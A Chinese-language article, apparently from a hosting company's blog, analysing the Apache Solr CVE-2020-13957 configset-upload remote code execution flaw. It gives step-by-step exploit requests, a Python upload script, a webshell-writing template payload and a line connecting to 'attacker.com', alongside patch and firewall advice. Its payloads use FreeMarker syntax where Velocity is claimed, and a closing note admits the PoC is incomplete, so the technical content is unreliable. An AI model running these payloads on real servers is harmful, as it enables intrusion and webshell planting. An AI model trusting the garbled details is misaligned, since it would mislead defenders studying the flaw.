您好,登录后才能下订单哦!
# Apache Solr 未授权上传RCE漏洞CVE-2020-13957的原理分析与验证
## 漏洞概述
CVE-2020-13957是Apache Solr在2020年披露的一个高危漏洞,影响Solr 6.6.0至7.7.3以及8.0.0至8.6.2版本。该漏洞允许攻击者通过未授权上传恶意配置文件实现远程代码执行(RCE),CVSS评分为9.8(Critical)。本文将深入分析漏洞原理、利用条件及验证方法。
## 技术背景
### Apache Solr架构特点
Solr是基于Lucene的搜索平台,采用Java开发,主要功能包括:
- 通过HTTP/HTTPS提供RESTful API
- 使用configset管理核心配置
- 支持动态加载核心(Core)
### 关键机制:ConfigSet API
漏洞涉及的关键API端点:
/admin/configs?action=UPLOAD&name=[configset名]
该接口本应仅允许管理员上传配置,但因权限校验缺陷导致未授权访问。
## 漏洞原理分析
### 根本原因
Solr在以下三个层面存在缺陷:
1. **权限校验缺失**
`ConfigSetsHandler`未对UPLOAD操作实施身份验证,绕过`security.json`的权限控制
2. **文件上传逻辑缺陷**
允许上传任意文件到临时目录,包括恶意Velocity模板
3. **Velocity模板注入**
攻击者可注入包含Java代码的模板,通过模板渲染触发RCE
### 利用链分解
完整攻击路径分为四个阶段:
1. 未授权上传恶意configset
2. 创建使用该configset的新core
3. 恶意Velocity模板被加载
4. 触发模板渲染执行系统命令
```java
// 漏洞代码示例(简化版)
public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp) {
if (action.equals("UPLOAD")) {
// 缺失权限检查
handleConfigUpload(req, rsp);
}
}
即使启用认证,若未正确配置security.json
中的规则,仍可能受影响:
{
"authentication":{...},
"authorization":{
"permissions":[{
"name":"config-edit",
"role":"admin" // 未限制UPLOAD操作
}]
}
}
使用Vulhub快速搭建测试环境:
docker-compose -f solr/8.6.0/CVE-2020-13957.yml up
发送探测请求:
GET /solr/admin/cores?wt=json HTTP/1.1
Host: target:8983
观察返回的Solr版本信息
构造包含Velocity模板的ZIP包:
mkdir -p malicious/conf
echo '<#assign cmd="touch /tmp/pwned">${cmd}' > malicious/conf/test.vm
zip -r configset.zip malicious
通过API上传:
POST /solr/admin/configs?action=UPLOAD&name=malicious HTTP/1.1
Content-Type: application/octet-stream
Host: target:8983
[ZIP文件二进制数据]
GET /solr/admin/cores?action=CREATE&name=pwned&configSet=malicious HTTP/1.1
Host: target:8983
访问模板触发命令执行:
GET /solr/pwned/select?q=1&&wt=velocity&v.template=test HTTP/1.1
Host: target:8983
使用Python实现自动化检测:
import requests
def check_vuln(url):
upload_url = f"{url}/solr/admin/configs"
params = {'action':'UPLOAD','name':'exploit'}
files = {'file': open('malicious.zip','rb')}
resp = requests.post(upload_url, params=params, files=files)
return resp.status_code == 200
升级至以下版本: - Solr 7.7.4+ - Solr 8.6.3+
补丁关键修改:
1. 强制校验config-edit
权限
2. 限制上传文件类型
iptables -A INPUT -p tcp --dport 8983 -s !trusted_ip -j DROP
{
"permissions": [
{
"name": "config-edit",
"role": "admin",
"path": "/admin/configs",
"methods": ["POST"]
}
]
}
Solr使用Velocity渲染UI时:
1. 解析.vm
模板文件
2. 执行#assign
定义的Java代码
3. 通过反射调用任意类方法
除基础RCE外,攻击者还可: 1. 写入Webshell:
<#assign f=file.getWriter()>${f.write('<% Runtime.getRuntime().exec(request.getParameter("cmd")) %>')}
<#assign c=new java.net.URL("http://attacker.com").openConnection()>${c.getInputStream()}
<requestHandler name="/admin/logging">
<str name="enabled">true</str>
</requestHandler>
CVE-2020-13957暴露了Solr在权限控制和文件处理方面的严重缺陷。通过本文分析可见: 1. 未授权API访问是云原生应用的常见威胁 2. 模板注入成为Java应用的新型攻击向量 3. 配置错误会显著扩大攻击面
建议企业建立完善的组件资产管理机制,及时跟进关键漏洞信息,避免因中间件漏洞导致系统性风险。 “`
注:实际使用时需要: 1. 补充完整的PoC代码 2. 添加截图和流量示例 3. 根据实际测试调整细节 4. 注意法律合规性
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。